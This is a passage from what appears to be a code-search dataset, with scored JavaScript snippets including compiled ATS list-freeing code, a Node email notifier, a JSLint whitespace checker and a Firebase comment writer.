gtree_node_childlst(60)\n;\nxtmp184 = gtree_node_childlst_1293_(xtmp182);\n}\n;\n;\n} // val(H0Pvar(xs0(123)))\n;\n{\n{\n{\nxtmp243 = [1, xtmp184, a4x2];\n}\n;\nxtmp242 = auxmain_2953_(a4x1, xtmp243);\n}\n;\nxtmp241 = [1, xtmp182, xtmp242];\n}\n;\nxtmp160 = xtmp241;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp160;\n} // lam-function\n;\nxtmp287 =\nfunction()\n{\nlet xtmp160;\nlet xtmp161;\nlet xtmp162;\nlet xtmp163;\nlet xtmp176;\nlet xtmp177;\nlet xtmp178;\nlet xtmp179;\nlet xtmp180;\nlet xtmp181;\nlet xtmp182;\nlet xtmp183;\nlet xtmp184;\nlet xtmp241;\nlet xtmp242;\nlet xtmp243;\nlet xtmp244;\nlet xtmp265;\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 10325(line=852, offs=1) -- 10384(line=855, offs=31)\n// { // val-binding\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1225(line=100, offs=1) -- 1474(line=120, offs=13)\nfunction\nlist_vt_free_2092_(a7x1)\n{\nlet xtmp264;\n;\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1290(line=106, offs=1) -- 1452(line=119, offs=5)\nfunction\nloop_1293_(a8x1)\n{\nlet xtmp247;\nlet xtmp248;\nlet xtmp249;\nlet xtmp250;\nlet xtmp251;\nlet xtmp263;\n;\n{\nxtmp248 = 0;\ndo {\ndo {\nif(0!==a8x1[0]) break;\nxtmp248 = 1;\n} while(false);\nif(xtmp248 > 0 ) break;\ndo {\nif(1!==a8x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp248 = 2;\n} while(false);\nif(xtmp248 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp248) {\ncase 1:\n{\nxtmp247 = [-1];;\n}\n;\nbreak;\ncase 2:\nxtmp249 = a8x1[1];\nxtmp250 = a8x1[2];\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1412(line=117, offs=3) -- 1434(line=117, offs=25)\n{\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 10325(line=852, offs=1) -- 10384(line=855, offs=31)\n// { // val-binding\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1225(line=100, offs=1) -- 1474(line=120, offs=13)\nfunction\nlist_vt_free_2092_(a10x1)\n{\nlet xtmp262;\n;\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1290(line=106, offs=1) -- 1452(line=119, offs=5)\nfunction\nloop_1293_(a11x1)\n{\nlet xtmp254;\nlet xtmp255;\nlet xtmp256;\nlet xtmp257;\nlet xtmp258;\nlet xtmp261;\n;\n{\nxtmp255 = 0;\ndo {\ndo {\nif(0!==a11x1[0]) break;\nxtmp255 = 1;\n} while(false);\nif(xtmp255 > 0 ) break;\ndo {\nif(1!==a11x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp255 = 2;\n} while(false);\nif(xtmp255 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp255) {\ncase 1:\n{\nxtmp254 = [-1];;\n}\n;\nbreak;\ncase 2:\nxtmp256 = a11x1[1];\nxtmp257 = a11x1[2];\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1412(line=117, offs=3) -- 1434(line=117, offs=25)\n{\n{\n// ./../../../../xanadu/prelude/DATS/gbas.dats: 175(line=18, offs=1) -- 207(line=20, offs=18)\nfunction\ng_free_1550_(a12x1)\n{\nlet xtmp260;\n;\n{\nxtmp260 = [-1];;\n}\n;\nreturn xtmp260;\n} // function // g_free(44)\n;\nxtmp258 = g_free_1550_(xtmp256);\n}\n;\n//L1PCKxpat(H0Pnil(); L1VALtmp(tmp(258)));\n//L1CMDmatch(H0Pnil(); L1VALtmp(tmp(258)));\n} // val(H0Pnil())\n;\n{\nxtmp261 = loop_1293_(xtmp257);\n}\n;\nxtmp254 = xtmp261;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp254;\n} // function // loop(48)\n;\n{\nxtmp262 = loop_1293_(a10x1);\n}\n;\nreturn xtmp262;\n} // function // list_vt_free(47)\n;\n// } // val-binding\nconst // implval/fun\ng_free_1550_ = list_vt_free_2092_\n;\nxtmp251 = g_free_1550_(xtmp249);\n}\n;\n//L1PCKxpat(H0Pnil(); L1VALtmp(tmp(251)));\n//L1CMDmatch(H0Pnil(); L1VALtmp(tmp(251)));\n} // val(H0Pnil())\n;\n{\nxtmp263 = loop_1293_(xtmp250);\n}\n;\nxtmp247 = xtmp263;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp247;\n} // function // loop(48)\n;\n{\nxtmp264 = loop_1293_(a7x1);\n}\n;\nreturn xtmp264;\n} // function // list_vt_free(47)\n;\n// } // val-binding\nconst // implval/fun\ng_free_1550_ = list_vt_free_2092_\n;\nxtmp244 = g_free_1550_(a4x1);\n}\n;\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 10325(line=852, offs=1) -- 10384(line=855, offs=31)\n// { // val-binding\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1225(line=100, offs=1) -- 1474(line=120, offs=13)\nfunction\nlist_vt_free_2092_(a7x1)\n{\nlet xtmp285;\n;\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1290(line=106, offs=1) -- 1452(line=119, offs=5)\nfunction\nloop_1293_(a8x1)\n{\nlet xtmp268;\nlet xtmp269;\nlet xtmp270;\nlet xtmp271;\nlet xtmp272;\nlet xtmp284;\n;\n{\nxtmp269 = 0;\ndo {\ndo {\nif(0!==a8x1[0]) break;\nxtmp269 = 1;\n} while(false);\nif(xtmp269 > 0 ) break;\ndo {\nif(1!==a8x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp269 = 2;\n} while(false);\nif(xtmp269 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp269) {\ncase 1:\n{\nxtmp268 = [-1];;\n}\n;\nbreak;\ncase 2:\nxtmp270 = a8x1[1];\nxtmp271 = a8x1[2];\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1412(line=117, offs=3) -- 1434(line=117, offs=25)\n{\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 10325(line=852, offs=1) -- 10384(line=855, offs=31)\n// { // val-binding\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1225(line=100, offs=1) -- 1474(line=120, offs=13)\nfunction\nlist_vt_free_2092_(a10x1)\n{\nlet xtmp283;\n;\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1290(line=106, offs=1) -- 1452(line=119, offs=5)\nfunction\nloop_1293_(a11x1)\n{\nlet xtmp275;\nlet xtmp276;\nlet xtmp277;\nlet xtmp278;\nlet xtmp279;\nlet xtmp282;\n;\n{\nxtmp276 = 0;\ndo {\ndo {\nif(0!==a11x1[0]) break;\nxtmp276 = 1;\n} while(false);\nif(xtmp276 > 0 ) break;\ndo {\nif(1!==a11x1[0]) break;\n//L1PCKany();\n//L1PCKany();\nxtmp276 = 2;\n} while(false);\nif(xtmp276 > 0 ) break;\n} while(false);\n} // case-patck0\nswitch\n(xtmp276) {\ncase 1:\n{\nxtmp275 = [-1];;\n}\n;\nbreak;\ncase 2:\nxtmp277 = a11x1[1];\nxtmp278 = a11x1[2];\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 1412(line=117, offs=3) -- 1434(line=117, offs=25)\n{\n{\n// ./../../../../xanadu/prelude/DATS/gbas.dats: 175(line=18, offs=1) -- 207(line=20, offs=18)\nfunction\ng_free_1550_(a12x1)\n{\nlet xtmp281;\n;\n{\nxtmp281 = [-1];;\n}\n;\nreturn xtmp281;\n} // function // g_free(44)\n;\nxtmp279 = g_free_1550_(xtmp277);\n}\n;\n//L1PCKxpat(H0Pnil(); L1VALtmp(tmp(279)));\n//L1CMDmatch(H0Pnil(); L1VALtmp(tmp(279)));\n} // val(H0Pnil())\n;\n{\nxtmp282 = loop_1293_(xtmp278);\n}\n;\nxtmp275 = xtmp282;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp275;\n} // function // loop(48)\n;\n{\nxtmp283 = loop_1293_(a10x1);\n}\n;\nreturn xtmp283;\n} // function // list_vt_free(47)\n;\n// } // val-binding\nconst // implval/fun\ng_free_1550_ = list_vt_free_2092_\n;\nxtmp272 = g_free_1550_(xtmp270);\n}\n;\n//L1PCKxpat(H0Pnil(); L1VALtmp(tmp(272)));\n//L1CMDmatch(H0Pnil(); L1VALtmp(tmp(272)));\n} // val(H0Pnil())\n;\n{\nxtmp284 = loop_1293_(xtmp271);\n}\n;\nxtmp268 = xtmp284;\nbreak;\ndefault: XATS2JS_matcherr0();\n} // case-switch\n;\nreturn xtmp268;\n} // function // loop(48)\n;\n{\nxtmp285 = loop_1293_(a7x1);\n}\n;\nreturn xtmp285;\n} // function // list_vt_free(47)\n;\n// } // val-binding\nconst // implval/fun\ng_free_1550_ = list_vt_free_2092_\n;\nxtmp265 = g_free_1550_(a4x2);\n}\n;\n} // lam-function\n;\nxtmp159 = XATS2JS_new_llazy(xtmp286,xtmp287);\nreturn xtmp159;\n} // function // auxmain(74)\n;\n// ./../../../../xanadu/xatslib/githwxi/DATS/gtree1.dats: 2852(line=153, offs=1) -- 2878(line=154, offs=17)\n{\n{\n// ./../../../../xanadu/prelude/DATS/list_vt.dats: 332(line=32, offs=1) -- 401(line=35, offs=32)\nfunction\nlist_vt_sing_1720_(a4x1)\n{\nlet xtmp290;\nlet xtmp291;\n;\n{\n{\nxtmp291 = [0];\n}\n;\nxtmp290 = [1, a4x1, xtmp291];\n}\n;\nreturn xtmp290;\n} // function // list_vt_sing(72)\n;\nxtmp288 = list_vt_sing_1720_(a3x1);\n}\n;\n;\n} // val(H0Pvar(xss(144)))\n;\n{\n{\nxtmp293 = [0];\n}\n;\nxtmp292 = auxmain_2953_(xtmp288, xtmp293);\n}\n;\nreturn xtmp292;\n}", "title": "" }, { "docid": "904f6b08a448ff5d7160cb2197b4c34b", "score": "0.44035468", "text": "async function main(submission) {\n\n console.log(submission);\n\n // The link back to the submission\n let submissionURL = submission.site_url + '/' + submission.data.page_id + \".html#\" + submission.id;\n\n // Construct the mail body for the OP\n let mailTextBody = `${submission.name} به دیدگاهت رو سایت مهدیکس [جواب](${submissionURL}) داد:\n\n ${submission.body}`;\n\n let mailHTMLBody = `<div dir=\"rtl\">\n <p>${submission.name} به دیدگاهت رو سایت مهدیکس <a href=\"${submissionURL}\">جواب</a> داد:</p>\n <blockquote>${submission.body}</blockquoe></div>`;\n\n // create reusable transporter object using the default SMTP transport\n let transporter = nodemailer.createTransport({\n host: process.env.SMTP_HOST,\n port: 465,\n secure: true, // true for 465, false for other ports\n auth: {\n user: process.env.SMTP_USER,\n pass: process.env.SMTP_PASS\n }\n });\n\n // Notify OP if this is a reply to a previous comment\n if (submission.data['reply-to']) {\n // Get OP's email address\n let opEmail = await getOPEmail(submission.data['reply-to']);\n // send mail with defined transport object\n let info = await transporter.sendMail({\n from: `mehdix.ir <${submission.id}@mehdix.ir>`,\n to: opEmail,\n subject: `${submission.name} جواب داد ✔`,\n text: mailTextBody,\n html: mailHTMLBody\n });\n }\n\n // Always inform the post author about new comments.\n let info = await transporter.sendMail({\n from: `mehdix.ir <${submission.id}@mehdix.ir>`,\n to: process.env.NOTIFICATIONS_EMAIL,\n subject: `${submission.name} داد سخن داد ✔`,\n text: mailTextBody,\n html: mailHTMLBody\n });\n\n return Promise.resolve(`Message sent: ${info.messageId}`);\n}", "title": "" }, { "docid": "2754d0cff2a1607f4a39b2e80a82257c", "score": "0.4401128", "text": "function improveMustacheErrorMessage(err, contents) {\n try {\n const regex = /at (\\d+)$/gm;\n const found = [...err.message.matchAll(regex)][0];\n const position = parseInt(found[1]);\n const messageWithoutLocation = err.message.slice(0, found.index).trim();\n const lines = contents.slice(0, position).split(\"\\n\");\n const lineNumber = lines.length;\n const linePosition = lines[lineNumber - 1].length;\n return `${messageWithoutLocation} at position ${linePosition} on line ${lineNumber}`;\n } catch (e) {\n return e.message;\n }\n}", "title": "" }, { "docid": "bd900fe080a652bcad693a79ddb1ca82", "score": "0.43986776", "text": "function whitage() {\n let closer = \"(end)\";\n let free = false;\n let left = global;\n let margin = 0;\n let nr_comments_skipped = 0;\n let open = true;\n let opening = true;\n let right;\n\n function pop() {\n const previous = stack.pop();\n closer = previous.closer;\n free = previous.free;\n margin = previous.margin;\n open = previous.open;\n opening = previous.opening;\n }\n\n function push() {\n stack.push({\n closer,\n free,\n margin,\n open,\n opening\n });\n }\n\n function expected_at(at) {\n warn(\n \"expected_a_at_b_c\",\n right,\n artifact(right),\n fudge + at,\n artifact_column(right)\n );\n }\n\n function at_margin(fit) {\n const at = margin + fit;\n // hack-jslint - exact-margin\n if (right.from !== at) {\n return expected_at(at);\n }\n }\n\n function no_space_only() {\n if (\n left.id !== \"(global)\"\n && left.nr + 1 === right.nr\n && (\n left.line !== right.line\n || left.thru !== right.from\n )\n ) {\n warn(\n \"unexpected_space_a_b\",\n right,\n artifact(left),\n artifact(right)\n );\n }\n }\n\n function no_space() {\n if (left.line === right.line) {\n if (left.thru !== right.from && nr_comments_skipped === 0) {\n warn(\n \"unexpected_space_a_b\",\n right,\n artifact(left),\n artifact(right)\n );\n }\n } else {\n if (open) {\n const at = (\n free\n ? margin\n : margin + 8\n );\n // hack-jslint - exact-margin\n if (right.from !== at) {\n expected_at(at);\n }\n } else {\n // hack-jslint - exact-margin\n if (right.from !== margin + 8) {\n expected_at(margin + 8);\n }\n }\n }\n }\n\n function one_space_only() {\n if (left.line !== right.line || left.thru + 1 !== right.from) {\n warn(\n \"expected_space_a_b\",\n right,\n artifact(left),\n artifact(right)\n );\n }\n }\n\n function one_space() {\n if (left.line === right.line || !open) {\n if (left.thru + 1 !== right.from && nr_comments_skipped === 0) {\n warn(\n \"expected_space_a_b\",\n right,\n artifact(left),\n artifact(right)\n );\n }\n } else {\n // hack-jslint - exact-margin\n if (right.from !== margin) {\n expected_at(margin);\n }\n }\n }\n\n stack = [];\n tokens.forEach(function (the_token) {\n right = the_token;\n if (right.id === \"(comment)\" || right.id === \"(end)\") {\n nr_comments_skipped += 1;\n } else {\n\n// If left is an opener and right is not the closer, then push the previous\n// state. If the token following the opener is on the next line, then this is\n// an open form. If the tokens are on the same line, then it is a closed form.\n// Open form is more readable, with each item (statement, argument, parameter,\n// etc) starting on its own line. Closed form is more compact. Statement blocks\n// are always in open form.\n\n const new_closer = opener[left.id];\n if (typeof new_closer === \"string\") {\n if (new_closer !== right.id) {\n opening = left.open || (left.line !== right.line);\n push();\n closer = new_closer;\n if (opening) {\n free = closer === \")\" && left.free;\n open = true;\n // hack-jslint - conditional-margin\n if (\n !option.modeUtility2\n || lines[right.line].startsWith(\" \")\n ) {\n margin += 4;\n }\n if (right.role === \"label\") {\n // hack-jslint - exact-margin\n if (right.from !== 0) {\n expected_at(0);\n }\n } else if (right.switch) {\n at_margin(-4);\n } else {\n at_margin(0);\n }\n } else {\n if (right.statement || right.role === \"label\") {\n warn(\n \"expected_line_break_a_b\",\n right,\n artifact(left),\n artifact(right)\n );\n }\n free = false;\n open = false;\n no_space_only();\n }\n } else {\n\n// If left and right are opener and closer, then the placement of right depends\n// on the openness. Illegal pairs (like '{]') have already been detected.\n\n if (left.line === right.line) {\n no_space();\n } else {\n at_margin(0);\n }\n }\n } else {\n if (right.statement === true) {\n if (left.id === \"else\") {\n one_space_only();\n } else {\n at_margin(0);\n open = false;\n }\n\n// If right is a closer, then pop the previous state.\n } else if (right.id === closer) {\n pop();\n if (opening && right.id !== \";\") {\n at_margin(0);\n } else {\n no_space_only();\n }\n } else {\n\n// Left is not an opener, and right is not a closer.\n// The nature of left and right will determine the space between them.\n\n// If left is ',' or ';' or right is a statement then if open,\n// right must go at the margin, or if closed, a space between.\n\n if (right.switch) {\n at_margin(-4);\n } else if (right.role === \"label\") {\n // hack-jslint - exact-margin\n if (right.from !== 0) {\n expected_at(0);\n }\n } else if (left.id === \",\") {\n if (!open || (\n (free || closer === \"]\")\n && left.line === right.line\n )) {\n one_space();\n } else {\n at_margin(0);\n }\n\n// If right is a ternary operator, line it up on the margin.\n } else if (right.arity === \"ternary\") {\n if (open) {\n at_margin(0);\n } else {\n warn(\"use_open\", right);\n }\n } else if (\n right.arity === \"binary\"\n && right.id === \"(\"\n && free\n ) {\n no_space();\n } else if (\n left.id === \".\"\n || left.id === \"?.\"\n || left.id === \"...\"\n || right.id === \",\"\n || right.id === \";\"\n || right.id === \":\"\n || (\n right.arity === \"binary\"\n && (right.id === \"(\" || right.id === \"[\")\n )\n || (\n right.arity === \"function\"\n && left.id !== \"function\"\n )\n ) {\n no_space_only();\n } else if (right.id === \".\" || right.id === \"?.\") {\n no_space_only();\n } else if (left.id === \";\") {\n if (open) {\n at_margin(0);\n }\n } else if (\n left.arity === \"ternary\"\n || left.id === \"case\"\n || left.id === \"catch\"\n || left.id === \"else\"\n || left.id === \"finally\"\n || left.id === \"while\"\n || right.id === \"catch\"\n || right.id === \"else\"\n || right.id === \"finally\"\n || (right.id === \"while\" && !right.statement)\n || (left.id === \")\" && right.id === \"{\")\n ) {\n one_space_only();\n } else if (\n\n// There is a space between left and right.\n\n spaceop[left.id] === true\n || spaceop[right.id] === true\n || (\n left.arity === \"binary\"\n && (left.id === \"+\" || left.id === \"-\")\n )\n || (\n right.arity === \"binary\"\n && (right.id === \"+\" || right.id === \"-\")\n )\n || left.id === \"function\"\n || left.id === \":\"\n || (\n (\n left.identifier\n || left.id === \"(string)\"\n || left.id === \"(number)\"\n )\n && (\n right.identifier\n || right.id === \"(string)\"\n || right.id === \"(number)\"\n )\n )\n || (left.arity === \"statement\" && right.id !== \";\")\n ) {\n one_space();\n } else if (left.arity === \"unary\" && left.id !== \"`\") {\n no_space_only();\n }\n }\n }\n nr_comments_skipped = 0;\n delete left.calls;\n delete left.dead;\n delete left.free;\n delete left.init;\n delete left.open;\n delete left.used;\n left = right;\n }\n });\n}", "title": "" }, { "docid": "7554fb20e29d417907f1e16dd8406db3", "score": "0.4395759", "text": "function docShouldHaveTrailingNewline(path) {\n return [\"entry\"].includes(path.getParentNode().kind);\n}", "title": "" }, { "docid": "4d01013fce8fc1542b74cbb001a9be56", "score": "0.43955836", "text": "function ResizeCommentsOrNotes() {\n try {\n if (gl_htGroupInfo['10050'] != undefined && gl_htGroupInfo['10050'][\"DynamicSize\"] == true) { //Comments in Charge Information screen\n ResizeTextAreaControlsInChargesScreen('DG_10050_ITP0ITIR23C0');\n }\n\n if (gl_htGroupInfo['10051'] != undefined && gl_htGroupInfo['10051'][\"DynamicSize\"] == true) { //Notes in Sentence Information screen\n ResizeTextAreaControlsInChargesScreen('DG_10051_ITP0ITIR10C0');\n }\n\n if (gl_htGroupInfo['10052'] != undefined && gl_htGroupInfo['10052'][\"DynamicSize\"] == true) { //Comments in OutDate Calculation screen\n ResizeTextAreaControlsInChargesScreen('DG_10052_ITP0ITIR10C0');\n ResizeTextAreaControlsInChargesScreen('DG_10052_ITP0ITIR11C0');\n }\n\n if (gl_htGroupInfo['10054'] != undefined && gl_htGroupInfo['10054'][\"DynamicSize\"] == true) { //Comments in Relaese in Charges screen\n ResizeTextAreaControlsInChargesScreen('DG_10054_ITP0ITIR3C0');\n }\n }\n catch (e) {\n handleError(e);\n }\n}", "title": "" }, { "docid": "71cfc330c4adffc124c828f3a83d48f5", "score": "0.43917382", "text": "enter(node) {\n \t\t\tlet comment;\n\n \t\t\twhile (comments[0] && comments[0].start < (node ).start) {\n \t\t\t\tcomment = comments.shift();\n\n \t\t\t\tcomment.value = comment.value.replace(re, (match, id, at, hash, value) => {\n \t\t\t\t\tif (hash) return `#${value}`;\n \t\t\t\t\tif (at) return `@${value}`;\n\n \t\t\t\t\treturn match;\n \t\t\t\t});\n\n \t\t\t\tconst next = comments[0] || node;\n \t\t\t\t(comment ).has_trailing_newline = (\n \t\t\t\t\tcomment.type === 'Line' ||\n \t\t\t\t\t/\\n/.test(raw.slice(comment.end, (next ).start))\n \t\t\t\t);\n\n \t\t\t\t(node.leadingComments || (node.leadingComments = [])).push(comment);\n \t\t\t}\n \t\t}", "title": "" }, { "docid": "5558f8b80d60b46343d75fd638e11ce4", "score": "0.43844888", "text": "async function getfixName(mainThr){\n\treturn new Promise(function(resolve, reject) {\n\t\t//titolo provvisorio pre-slice\n\t\tvar temptitle = \"\";\n\t\t\n\t\t//in base all'esistenza di titolo o sottotitolo, genera un titolo di massimo 150 caratteri.\n\t\t\n\t\t//Se il post iniziale del thread ha il titolo\n\t\tif(mainThr.posts[0].hasOwnProperty('sub')){\n\t\t\t//imposta il titolo\n\t\t\ttemptitle = temptitle.concat(mainThr.posts[0].sub);\n\t\t//se ha il commento e non c'era il titolo\n\t\t}else if(mainThr.posts[0].hasOwnProperty('com') && temptitle == \"\"){\n\t\t\t//metti il titolo formattato con semantic_url(che in realtà è il commento)\n\t\t\ttemptitle = temptitle.concat(mainThr.posts[0].semantic_url);\n\t\t//se ha il commento e c'era anche il titolo\n\t\t}else{\n\t\t\t//concatena al titolo il commento non formattato (fromattare con funzion js)\n\t\t\ttemptitle = temptitle.concat(\" - \",mainThr.posts[0].semantic_url);\n\t\t};\n\t\t\n\t\t//toglie le tag html dall'input\n\t\tstriptags(temptitle);\n\t\t\n\t\t//se titolo questo, riprova \n\t\tif(temptitle == \"image-failed-to-load-click-to-retry\"){\n\t\t\tlog(\"ERRORE NEL CARICAMENTO, RETRY\",3);\n\t\t\tgetfixName(mainThr)\n\t\t}\n\t\t\n\t\t//titolo provvisorio pre-sanificazione\n\t\tvar temptitle2=temptitle.substring(0, 150);\n\t\t\n\t\t// Controlla per i caratteri speciali indicati qui (non è stato implementato il punto di domanda):\n\t\t//https://stackoverflow.com/questions/1976007/what-characters-are-forbidden-in-windows-and-linux-directory-names\n\t\tvar threadTitle = temptitle2.replace(/[#_:/<*>\\'\\\"\\\\?']/g,'');\n\t\t//log(\"Da getfixName: \" + threadTitle);\n\t\n \t\t //restituisce il titolo del thread completo\n \t\t resolve(threadTitle);\n\t});\n}", "title": "" }, { "docid": "d1c014152fc686ce354f1bc601373717", "score": "0.43683445", "text": "recoverByDelete(next, nextEnd) {\n let isNode = next <= this.p.parser.maxNode;\n if (isNode) this.storeNode(next, this.pos, nextEnd);\n this.storeNode(0\n /* Err */\n , this.pos, nextEnd, isNode ? 8 : 4);\n this.pos = this.reducePos = nextEnd;\n this.score -= 200\n /* Token */\n ;\n }", "title": "" }, { "docid": "1b4149b4cf35e1377bcb3dd1dbfa59db", "score": "0.43661228", "text": "enhanceRequest(req, res) {\n let message = req.message\n if (message.type === 'sync') {\n // We fetch the document record to get the old title\n this.documentStore.getDocument(message.documentId, function(err, docRecord) {\n if(err) {\n console.error('enhanceRequest returned an error', err)\n this._error(req, res, err)\n return\n }\n\n let updatedAt = new Date()\n let title = docRecord.title\n let meta = docRecord.content ? find(docRecord.content.nodes, { 'id': 'meta'}) : docRecord.meta\n let rubrics = meta.rubrics\n let entities = meta.entities\n let collections = meta.collections\n let accepted\n let moderated\n let negative\n let oi_express\n\n if (message.change) {\n // Update the title if necessary\n let change = DocumentChange.fromJSON(message.change)\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'title') {\n title = op.diff.apply(title)\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'rubrics') {\n rubrics = op.val\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'entities') {\n entities = op.val\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'collections') {\n collections = op.val\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'accepted') {\n accepted = op.val\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'moderated') {\n moderated = op.val\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'negative') {\n negative = op.val\n }\n })\n\n change.ops.forEach(function(op) {\n if(op.path[0] === 'meta' && op.path[1] === 'oi_express') {\n oi_express = op.val\n }\n })\n\n message.change.info = {\n userId: req.session.userId,\n updatedAt: updatedAt\n }\n }\n\n message.collaboratorInfo = {\n name: req.session.user.name\n }\n\n // update meta object with modified properties\n extend(meta, {title: title, rubrics: rubrics, entities: entities, collections: collections})\n\n if(!isUndefined(accepted)) {\n extend(meta, {accepted: accepted})\n }\n\n if(!isUndefined(moderated)) {\n extend(meta, {moderated: moderated})\n }\n\n if(!isUndefined(negative)) {\n extend(meta, {negative: negative})\n }\n\n if(!isUndefined(oi_express)) {\n extend(meta, {oi_express: oi_express})\n }\n // commit and connect method take optional documentInfo argument\n message.documentInfo = {\n updatedAt: updatedAt,\n updatedBy: req.session.userId,\n title: title,\n meta: meta,\n rubrics: rubrics,\n entities: entities,\n collections: collections,\n accepted: accepted,\n negative: negative,\n oi_express: oi_express\n }\n req.setEnhanced()\n this.next(req, res)\n }.bind(this))\n } else {\n // Just continue for everything that is not handled\n req.setEnhanced()\n this.next(req, res)\n }\n }", "title": "" }, { "docid": "786faa969338a21ecec749852be86c05", "score": "0.43639082", "text": "async sendFromEditorToDatabase({}, {title, doi, author, content }) {\n //version 2\n //找到userkey\n let userKey = firebase.auth().currentUser.uid;\n const newComent = {\n //doi is optional\n doi_nr: doi,\n PermanentID:\"\",\n type: 'unofficial',\n status:{ //status=[]\n Review:false,\n PID:false\n }, \n // [\"in Review\", \"ask for PID\",...] \n active:true, // the Admin can hide the comments\n author:author,\n title: title,\n content: content,\n likes: 0,\n dislikes: 0,\n createDate: new Date().toString(),\n user_id:userKey,\n }\n let doiKey=doi.replaceAll(\".\",\"'\");\n //replace . as ' to use in key, it too slow to check all the database to find out the current doi\n \n let comments_key = firebase.database().ref('doi_repository/' + doiKey + '/comments').push(newComent).key;\n return firebase.database().ref('users/' + userKey + '/comments/' + comments_key).set({\n type: 'unofficial',\n doi: doi\n }).catch((error) => {\n //for debug only, will be finished later\n console.log(error.message);\n });\n \n }", "title": "" }, { "docid": "e15c2704b395d8001ab1861cf7ae8622", "score": "0.43630064", "text": "function changed(buffstr, nothing_more_after_this) {\n // decides how much it wants to consume (but only if !nothing_more_after_this)\n // console.log(buffstr.slice(0,20)+'...')\n // return buffstr.length;\n\n // nothing_more_after_this => last call, I returned 0\n if (buffstr.length >= 20) {\n assert(!nothing_more_after_this);\n const ej = buffstr.slice(0,20);\n consume(ej);\n return ej.length;\n } else {\n /*\n if (nothing_more_after_this) {\n // can we guaraantee length <0 ?!\n consume(ej)\n return buffstr.length;\n }\n */\n // wait\n return NOTHING_ENOUGH_TO_CONSUME_PROVIDE_ME_MORE;\n }\n}", "title": "" }, { "docid": "7874b05644c4fca2f851c7d0d1b30944", "score": "0.4361045", "text": "function getNextCommentBlock(str, offset) {\n\t\tvar sub = str.substring(offset);\n\t\t\n\t\t// Get locale of comment block\n\t\tvar locale = \"EN\";\n\t\tvar pattern = /\\/\\*:(.*)/;\n\t\tvar groups = pattern.exec(sub);\n\t\tif (groups && groups[1]) {\n\t\t\tlocale = groups[1].toUpperCase();\n\t\t}\n\t\n\t\tvar start = sub.indexOf(\"/*\");\n\t\n\t\tif (start == -1) {\n\t\t\treturn null;\n\t\t}\n\t\n\t\tvar comment = sub.substring(start + 2);\n\t\tvar end = comment.indexOf(\"*/\");\n\t\n\t\tcomment = comment.substring(0, end);\n\t\n\t\treturn {comment: comment, lastIndex: offset + start + end + 2, locale: locale};\n\t}", "title": "" }, { "docid": "596951b21c758d4a54822f96880528b0", "score": "0.43596983", "text": "reduceSpaces(decl) {\n let stop = false\n this.prefixes.group(decl).up(() => {\n stop = true\n return true\n })\n if (stop) {\n return\n }\n\n let parts = decl.raw('before').split('\\n')\n let prevMin = parts[parts.length - 1].length\n let diff = false\n\n this.prefixes.group(decl).down(other => {\n parts = other.raw('before').split('\\n')\n let last = parts.length - 1\n\n if (parts[last].length > prevMin) {\n if (diff === false) {\n diff = parts[last].length - prevMin\n }\n\n parts[last] = parts[last].slice(0, -diff)\n other.raws.before = parts.join('\\n')\n }\n })\n }", "title": "" }, { "docid": "ab21067e9b117a38ebafed906f651599", "score": "0.4353504", "text": "function t(e,t,a,i){var s,n=arguments.length,r=n<3?t:null===i?i=Object.getOwnPropertyDescriptor(t,a):i;if(\"object\"==typeof Reflect&&\"function\"==typeof Reflect.decorate)r=Reflect.decorate(e,t,a,i);else for(var o=e.length-1;o>=0;o--)(s=e[o])&&(r=(n<3?s(r):n>3?s(t,a,r):s(t,a))||r);return n>3&&r&&Object.defineProperty(t,a,r),r\n/**\n * @license\n * Copyright 2019 Google LLC\n * SPDX-License-Identifier: BSD-3-Clause\n */}", "title": "" }, { "docid": "adf86e09b3fb19abdbb6d0e26a46410d", "score": "0.4348849", "text": "function limitTo(str, size) {\n\n\tif (str == null) return str ;\n\treturn (str.length > size) ? str.substring(0, size-3) + \"...\" : str ;\n}", "title": "" }, { "docid": "f906e6f2d458f2d70dbfbdfaff585b0e", "score": "0.4345907", "text": "draftToJson(contentState) {\n let blockMap = contentState.getBlockMap(),\n firstBlock = blockMap.first(),\n lastBlock = blockMap.last(),\n part;\n let article = this.getElementOfType('Article');\n article.articleBody = [];\n article.hasPart = [];\n article.image = [];\n article.mentions = [];\n article.name = firstBlock.getText();\n let isPart = false;\n 